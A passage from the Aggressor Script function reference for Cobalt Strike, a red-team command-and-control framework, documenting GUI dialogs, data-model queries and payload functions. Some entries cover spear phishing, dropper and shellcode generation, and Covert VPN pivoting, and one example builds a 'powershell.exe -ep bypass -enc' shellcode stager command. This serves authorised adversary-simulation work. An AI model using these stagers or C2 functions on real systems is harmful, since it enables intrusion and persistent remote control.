                openOrActivate($bid);
        }
}
```

openPayloadGeneratorDialog

Open the Payload Generator dialog.

Example

```
openPayloadGeneratorDialog();
```

openPayloadHelper

Open a payload chooser dialog.

Arguments

`$1` - a callback function. Arguments: $1 - the selected listener.

Example

```
openPayloadHelper(lambda({
        bspawn($bid, $1);
}, $bid => $1));
```

openPivotListenerSetup

open the pivot listener setup dialog

Arguments

`$1` - the Beacon ID to apply this feature to

Example

```
item "Listener..." {
        local('$bid');
        foreach $bid ($1) {
                openPivotListenerSetup($bid);
        }
}
```

openPortScanner

Open the port scanner dialog

Arguments

`$1` - an array of targets to scan

Example

```
openPortScanner(@("192.168.1.3"));
```

openPortScannerLocal

Open the port scanner dialog with options to target a Beacon's local network

Arguments

`$1` - the beacon to target with this feature

Example

```
item "Scan" {
        local('$bid');
        foreach $bid ($1) {
                openPortScannerLocal($bid);
        }
}
```

openPowerShellWebDialog

Open the dialog to setup the PowerShell Web Delivery Attack

Example

```
openPowerShellWebDialog();
```

openPreferencesDialog

Open the preferences dialog

Example

```
openPreferencesDialog();
```

openProcessBrowser

Open a process browser for one or more Beacons

Arguments

`$1` - the id for the beacon. This may be an array or a single ID.

Example

```
item "Processes" {
        openProcessBrowser($1);
}
```

openSOCKSBrowser

Open the tab to list SOCKS proxy servers

Example

```
openSOCKSBrowser();
```

openSOCKSSetup

open the SOCKS proxy server setup dialog

Arguments

`$1` - the Beacon ID to apply this feature to

Example

```
item "SOCKS Server" {
        local('$bid');
        foreach $bid ($1) {
                openSOCKSSetup($bid);
        }
}
```

openScreenshotBrowser

Open the screenshot browser tab

Example

```
openScreenshotBrowser();
```

openScriptConsole

Open the Aggressor Script console.

Example

```
openScriptConsole();
```

openScriptManager

Open the tab for the script manager.

Example

```
openScriptManager();
```

openServiceBrowser

Open service browser dialog

Arguments

`$1` - an array of targets to show services for

Example

```
openServiceBrowser(@("192.168.1.3"));
```

openSiteManager

Open the site manager.

Example

```
openSiteManager();
```

openSpawnAsDialog

Open dialog to spawn a payload as another user

Arguments

`$1` - the Beacon ID to apply this feature to

Example

```
item "Spawn As..." {
	local('$bid');
	foreach $bid ($1) {
		openSpawnAsDialog($bid);
	}
}
```

openSpearPhishDialog

Open the dialog for the spear phishing tool.

Example

```
openSpearPhishDialog();
```

openSystemInformationDialog

Open the system information dialog.

Example

```
openSystemInformationDialog();
```

openSystemProfilerDialog

Open the dialog to setup the system profiler.

Example

```
openSystemProfilerDialog();
```

openTargetBrowser

Open the targets browser

Example

```
openTargetBrowser();
```

openWebLog

Open the web log tab.

Example

```
openWebLog();
```

openWindowsDropperDialog

Open the dialog to export the Windows dropper attack

Example

```
openWindowsDropperDialog();
```

openWindowsExecutableDialog

Open the dialog to generate a Windows executable

Example

```
openWindowsExecutableDialog();
```

openWindowsExecutableStage

Open the dialog to generate a stageless Windows executable

Example

```
openWindowsExecutableStage();
```

pgraph

Generate the pivot graph GUI component.

Returns

The pivot graph GUI object (a **javax.swing.JComponent**)

Example

```
addVisualization("Pivot Graph", pgraph());
```

See Also

&showVisualization (functions.html#showVisualization)

pivots

Returns a list of SOCKS pivots from Cobalt Strike's data model.

Returns

An array of dictionary objects with information about each pivot.

Example

```
printAll(pivots());
```

popup_clear

Remove all popup menus associated with the current menu. This is a way to override Cobalt Strike's default popup menu definitions.

Arguments

`$1` - the popup hook to clear registered menus for

Example

```
popup_clear("help");

popup help {
        item "My stuff!" {
                show_message("This is my menu!");
        }
}
```

powershell

Returns a PowerShell one-liner to bootstrap the specified listener.

Arguments

`$1` - the listener name
`$2` - [true/false]: is this listener targeting local host?

Returns

A PowerShell one-liner to run the specified listener.

Example

```
println(powershell("my listener", false));
```

powershell_encode_stager

Returns a base64 encoded PowerShell script to run the specified shellcode

Arguments

`$1` - shellcode to wrap

Returns

Returns a base64 encoded PowerShell suitable for use with powershell.exe's -enc option.

Example

```
$shellcode  = shellcode("my listener", false);
$readytouse = powershell_encode_stager($shellcode);
println("powershell.exe -ep bypass -enc $readytouse");
```

pref_get

Grabs a string value from Cobalt Strike's preferences.

Arguments

`$1` - the preference name
`$2` - the default value [if there is no value for this preference]

Returns

A string with the preference value.

Example

```
$foo = pref_get("foo.string", "bar");
```

pref_get_list

Grabs a list value from Cobalt Strike's preferences.

Arguments

`$1` - the preference name

Returns

An array with the preference values

Example

```
@foo = pref_get_list("foo.list");
```

pref_set

Set a value in Cobalt Strike's preferences

Arguments

`$1` - the preference name
`$2` - the preference value

Example

```
pref_set("foo.string", "baz!");
```

pref_set_list

Stores a list value into Cobalt Strike's preferences.

Arguments

`$1` - the preference name
`$2` - an array of values for this preference

Example

```
pref_set_list("foo.list", @("a", "b", "c"));
```

previousTab

Activate the tab that is to the left of the current tab.

Example

```
bind Ctrl+Left {
	previousTab();
}
```

privmsg

Post a private message to a user in the event log

Arguments

`$1` - who to send the message to

`$2` - the message

Example

```
privmsg("raffi", "what's up man?");
```

prompt_confirm

Show a dialog with Yes/No buttons. If the user presses yes, call the specified function.

Arguments

`$1` - text in the dialog
`$2` - title of the dialog
`$3` - a callback function. Called when the user presses yes.

Example

```
prompt_confirm("Do you feel lucky?", "Do you?", {
        show_mesage("Ok, I got nothing");
});
```

prompt_directory_open

Show a directory open dialog.

Arguments

`$1` - title of the dialog
`$2` - default value
`$3` - true/false: allow user to select multiple folders?
`$4` - a callback function. Called when the user chooses a folder. The argument to the callback is the selected folder. If multiple folders are selected, they will still be specified as the first argument, separated by commas.

Example

```
prompt_directory_open("Choose a folder", $null, false, {
        show_message("You chose: $1");
});
```

prompt_file_open

Show a file open dialog.

Arguments

`$1` - title of the dialog
`$2` - default value
`$3` - true/false: allow user to select multiple files?
`$4` - a callback function. Called when the user chooses a file to open. The argument to the callback is the selected file. If multiple files are selected, they will still be specified as the first argument, separated by commas.

Example

```
prompt_file_open("Choose a file", $null, false, {
        show_message("You chose: $1");
});
```

prompt_file_save

Show a file save dialog.

Arguments

`$1` - default value
`$2` - a callback function. Called when the user chooses a filename. The argument to the callback is the desired file.

Example

```
prompt_file_save($null, {
        local('$handle');
        $handle = openf("> $+ $1");
        println($handle, "I am content");
        closef($handle);
});
```

prompt_text

Show a dialog that asks the user for text.

Arguments

`$1` - text in the dialog
`$2` - default value in the text field.
`$3` - a callback function. Called when the user presses OK. The first argument to this callback is the text the user provided.

Example

```
prompt_text("What is your name?", "Cyber Bob", {
	show_mesage("Hi $1 $+ , nice to meet you!");
});
```

removeTab

Close the active tab

Example

```
bind Ctrl+D {
	removeTab();
}
```

say

Post a public chat message to the event log.

Arguments

`$1` - the message

Example

```
say("Hello World!");
```

screenshots

Returns a list of screenshots from Cobalt Strike's data model.

Returns

An array of dictionary objects with information about each screenshot.

Example

```
printAll(screenshots());
```

script_resource

Returns the full path to a resource that is stored relative to this script file.

Arguments

`$1` - the file to get a path for

Returns

The full path to the specified file.

Example

```
println(script_resource("dummy.txt"));
```

separator

Insert a separator into the current menu tree.

Example

```
popup foo {
        item "Stuff" { ... }
        separator();
        item "Other Stuff" { ... }
}
```

services

Returns a list of services in Cobalt Strike's data model.

Returns

An array of dictionary objects with information about each service.

Example

```
printAll(services());
```

shellcode

Returns raw shellcode for a specific Cobalt Strike listener

Arguments

`$1` - the listener name
`$2` - [true/false]: is this listener targeting local host?

Returns

A scalar containing shellcode for the specified listener.

Example

```
$data = shellcode("my listener");

$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);
```

showVisualization

Switch Cobalt Strike visualization to a registered visualization.

Arguments

`$1` - the name of the visualization

Example

```
bind Ctrl+H {
        showVisualization("Hello World");
}
```

See Also

&showVisualization (functions.html#showVisualization)

show_error

Shows an error message to the user in a dialog box. Use this function to relay error information.

Arguments

`$1` - the message text

Example

```
show_error("You did something bad.");
```

show_message

Shows a message to the user in a dialog box. Use this function to relay information.

Arguments

`$1` - the message text

Example

```
show_message("You've won a free ringtone");
```

sites

Returns a list of sites tied to Cobalt Strike's web server.

Returns

An array of dictionary objects with information about each registered site.

Example

```
printAll(sites());
```

targets

Returns a list of host information in Cobalt Strike's data model.

Returns

An array of dictionary objects with information about each host.

Example

```
printAll(targets());
```

tbrowser

Generate the target browser GUI component.

Returns

The target browser GUI object (a **javax.swing.JComponent**)

Example

```
addVisualization("Target Browser", tbrowser());
```

See Also

&showVisualization (functions.html#showVisualization)

tstamp

Format a time into a date/time value. This value does not include seconds.

Arguments

`$1` - the time [milliseconds since the UNIX epoch]

Example

```
println("The time is now: " . tstamp(ticks());
```

See Also

&dstamp (functions.html#dstamp)

url_open

Open a URL in the default browser.

Arguments

`$1` - the URL to open

Example

```
command go {
	url_open("https://www.cobaltstrike.com/");
}
```

users

Returns a list of users connected to this team server.

Returns

An array of users.

Example

```
foreach $user (users()) {
	println($user);
}
```

vpn_interface_info

Get information about a VPN interface.

Arguments

`$1` - the interface name
`$2` - [Optional] the key to extract a value for

Returns

```
%info = vpn_interface_info("interface");
```

Returns a dictionary with the metadata for this interface.

```
$value = listener_info("interface", "key");
```

Returns the value for the specified key from this interface's metadata

Example

```
# create a script console alias to interface info
command interface {
        println("Interface $1");
        foreach $key => $value (vpn_interface_info($1)) {
                println("$[15]key $value");
        }
}
```

vpn_interfaces

Return a list of VPN interface names

Returns

An array of interface names.

Example

```
printAll(vpn_interfaces());
```

vpn_tap_create

Create a Covert VPN interface on the team server system.

Arguments

`$1` - the interface name (e.g., phear0)

`$2` - the MAC address ($null will make a random MAC address)

`$3` - reserved; use $null for now.

`$4` - the port to bind the VPN's channel to

`$5` - the type of channel [bind, http, icmp, reverse, udp]

Example

```
vpn_tap_create("phear0", $null, $null, 7324, "udp");
```

vpn_tap_delete

Destroy a Covert VPN interface

Arguments

`$1` - the interface name (e.g., phear0)

Example

```
vpn_tap_destroy("phear0");
```